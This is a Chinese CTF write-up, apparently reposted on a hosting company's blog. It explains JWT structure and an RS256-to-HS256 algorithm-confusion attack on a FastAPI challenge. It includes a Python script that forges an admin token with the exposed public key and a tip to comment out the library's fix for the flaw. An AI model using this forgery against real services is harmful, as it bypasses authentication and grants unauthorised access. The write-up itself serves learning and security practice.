如何分析JWT中的CTF,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
这两天碰到一道ctf,如下:
大概是,输入题目的自带token以获取后端响应的access_token,登录后发现需要admin来查看对应的profile文件。
其实题目上有提示,FastAPI框架和JWT验证。
去网上查了一下,FastAPI有一个默认的文档交互界面/docs
/debug下有一个public key
然后网上去百度了一堆JWT的资料:
Json Web Token 的简称就是 JWT,通常可以称为
Json 令牌
。它是RFC 7519
中定义的用于安全的
将信息作为Json 对象
进行传输的一种形式。JWT 中存储的信息是经过数字签名
的,因此可以被信任和理解。可以使用 HMAC 算法或使用 RSA/ECDSA 的公用/专用密钥对 JWT 进行签名。
JWT分为三个部分
-
Header
-
Payload
-
Signature
这三部分通过‘ . ’ 连接,格式大概为 Header.Payload.Signature
Header部分:
包含两个字段,typ(令牌类型)和alg(加密算法)。
例如:
{ "alg": "RS256", "typ": "JWT" }
JWT在支持非对称加密的同时也支持对称加密,并且加密算法通过头部的alg值确定。
问题就出在这里。
引用WP大佬的解释:
在使用 RS256 时,程序的流程是:
-
使用私钥为 JWT 签名。
-
使用公钥验证接收到的 JWT 的完整性。
而在使用 HS256 时,程序的流程是:
-
使用密钥为 JWT 签名。
-
同样,使用这个密钥验证 JWT 的完整性。显然,这个密钥不能被泄露出来。
那么如果我们知道公钥,那么我们就能这么做:
-
接收到一个合法的,使用
RS256
签名算法的 JWT。 -
修改 JWT 的 payload 我们想要的样子,同时修改 header 的算法为
HS256
。 -
使用已知的公钥,以
HS256
算法重新签名我们修改后的公钥。 -
发给服务器。此时,服务器使用公钥 +
HS256
算法检查 JWT,发现没有问题,就会认为这是一个合法的 JWT。
Payload部分
Payload部分一般包含一些有效声明,声明分为三种
-
registered
-
public
-
private
registered是一些预定义声明:
-
iss (issuer) :签发者
-
exp (expiration time) :过期时间
-
sub (subject) :主体
-
aud (audience) :受众
-
nbf (Not Before) :生效时间
-
iat (Issued At) :签发时间
-
jti (JWT ID) :编号
public公共声明:
一般放一些用户信息。
private自定义声明:
用于各方信息共享。
例如:
{ "sub": "admin", "exp": 9902085613 }
Signature部分:
Signature主要由两个部分组成:
-
base64后的header和payload
-
secert密钥
然后再使用我们之前所选择的加密方式进行加密。
大概如下:
{ rs256_encode(base64_encode(header)+'.'+base64_encode(payload)+secert) }
so整个JWT的组成可以如下图表示:
图片来源:
看完这篇 Session、Cookie、Token,和面试官扯皮就没问题了
于是乎,回到题目本身。
我们的目标就很明确了:
-
通过之前/debug中暴露的public key,构造使用HS256的JWT。
-
将JWT替换至我们的数据包中。
-
后端读取到header字段中的HS256,会使用对称加密的形式通过本地的public key解密JWT,然后以sub=admin的权限读取到数据。
构造脚本如下:
import jwt PUBLIC_KEY = "-----BEGIN RSA PUBLIC KEY-----/nMIICCgKCAgEAn/KiHQ+/zwE7kY/Xf89PY6SowSb7CUk2b+lSVqC9u+R4BaE/5tNF/neNlneGNny6fQhCRA+Pdw1UJSnNpG26z/uOK8+H7fMb2Da5t/94wavw410sCKVbvf/nft8gKquUaeq//tp20BETeS5MWIXp5EXCE+lEdAHgmWWoMVMIOXwaKTMnCVGJ2SRr/n+xH9147FZqOa/17PYIIHuUDlfeGi+Iu7T6a+QZ0tvmHL6j9Onk/EEONuUDfElonY/nM688jhuAM/FSLfMzdyk23mJk3CKPah58nzVmb1YRyfBWiVFGYQqMCBnWgoGOanpd/n46Fp1ff1zBn4sZTfPSOus/+00D5Lxh7bsbRa6A1vAApfmTcu026lIb7gbG7DU1/s/neDId9s1qA5BJpzWFKO4ztkPGvPTUok8hQBMDaSH1JOoFQgfJIfC7w2CQe+KbodQL/n3akKQDCZhcoA4tf5VC6ODJpFxCn6blML5cD6veOBPJiIk8DBRgmt2AHzOUju+5ns/nQcplOVxW5TFYxLqeJ8FPWqQcVekZ749FjchtAwPlUsoWIH0PTSun38ua8usrwTXb/npBlf4r0wz22FPqaecvp7z6Rj/xfDauDGDSU4hmn/TY9Fr+OmFJPW/9k2RAv7KEFv/nFCLP/3U3r0FMwSe/FPHmt5fjAtsGlZLj+bZsgwFllYeD90VQU8Ds+KkCAwEAAQ==/n-----END RSA PUBLIC KEY-----/n" payload = { "sub": "admin", "exp": 9902085613, #失效时间,随便写就好 } header = { "typ": "JWT", "alg": "HS256" } encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256', headers=header) print(encoded)
JWT在更新后加入了一个校验机制来解决此漏洞,主要是用于检测public key是否为非对称加密公钥。
使用脚本时会报错,直接进源文件注释掉即可。
最终:
看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。
原创文章,作者:1402239773,如若转载,请注明出处:https://blog.ytso.com/221811.html